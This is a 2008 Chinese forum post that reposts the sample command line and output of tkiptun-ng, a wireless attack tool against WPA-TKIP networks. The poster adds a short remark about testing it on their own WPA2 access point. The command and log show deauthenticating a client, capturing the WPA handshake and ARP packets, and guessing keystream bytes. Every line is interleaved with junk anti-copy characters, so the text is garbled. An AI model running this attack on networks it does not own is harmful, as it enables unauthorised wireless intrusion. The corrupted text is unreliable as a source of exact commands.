新兵上阵
- 注册时间
- 2008-9-14
- 金币
- 39 个
- 威望
- 0 个
- 荣誉
- 0 个
尚未签到
|
轉貼1 O9 R4 C$ x/ P
The example below is incomplete but it gives some idea of how it looks.
4 ?* r& Y X4 l* ^
: [9 B6 W/ Z B* S6 D) `/ U+ X; u7 n' w3 d: L9 b1 `
7 }* D [6 q9 X$ \- E
來源mac ap mac
" A4 F% A, X8 T4 N6 V# {Input: tkiptun-ng -h 00:0F:B5:AB:CB:9D -a 00:14:6C:7E:40:80 -m 80 -n 100 ath0+ ]1 S* W5 ]6 J. f& {& ^7 P
# p `! Y' _8 r) A: T6 [ w
Output:5 ^' F/ ]& f( r3 {; @
* D( u$ Q$ A: j0 L/ gBlub 2:38 E6 38 1C 24 15 1C CF+ `6 G ^ }5 @& G) Z$ |8 q7 d5 ]! F
Blub 1:17 DD 0D 69 1D C3 1F EE
5 T; q- f7 F7 d) N, GBlub 3:29 31 79 E7 E6 CF 8D 5E$ F* l- S$ z1 z
14:48:00 Michael Test: Successful% i" j7 }# Z4 N; l# v6 `( n
14:48:00 Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9* _$ c5 j; I# u4 u$ r% F4 o
14:48:00 Found specified AP
. M. f, d4 _7 i/ I& k4 P$ S* @14:48:00 Sending 4 directed DeAuth. STMAC: [00:0F:B5:AB:CB:9D] [ 2| 4 ACKs]
5 E9 t/ X, a6 r9 U, V14:48:02 WPA handshake: 00:14:6C:7E:40:80 captured
; Y8 n8 h/ o+ Y" o2 Y14:48:02 Waiting for an ARP packet coming from the Client...
5 J# b# ^+ h/ n) k: XSaving chosen packet in replay_src-1109-144822.cap7 V0 O. x, c, W: c4 ~
14:48:22 Waiting for an ARP response packet coming from the AP...1 u8 a: d0 w2 N* S3 L# Y
Saving chosen packet in replay_src-1109-144822.cap( s) J0 j6 f% Y7 T4 z/ N+ |! L/ Y
14:48:22 Got the answer!8 J+ o2 ]& U3 B8 M" _# {% s
14:48:22 Waiting 5 seconds to let encrypted EAPOL frames pass without interfering." O7 x6 p% A% T6 r+ A; ~
( q- b" f; y5 s' }Sent 40 packets, current guess: 27..
1 k/ R, I' }0 v( M9 V0 |5 f
% I# M0 _4 {2 r' H" @
) ~6 F8 L; o8 U& q4 k對自家的wpa2 ap測了一下只出現
4 ]8 g* z7 S2 ? E+ E" C3 w: ]' K& s# w9 a# \, m, V& |
Blub 2:38 E6 38 1C 24 15 1C CF* k m$ m+ w; m
Blub 1:17 DD 0D 69 1D C3 1F EE3 u; C8 E% @, P3 P
Blub 3:29 31 79 E7 E6 CF 8D 5E
: J8 A/ I, G5 w, G1 q; L; M# F9 ^14:48:00 Michael Test: Successful7 H ]4 Y, r- P* r% U6 J' d
* `4 C2 m; r9 w% U" k. J
有空把密碼改改試試 |
|
发表于 2008-11-10 22:59
发表于 2008-11-10 23:23
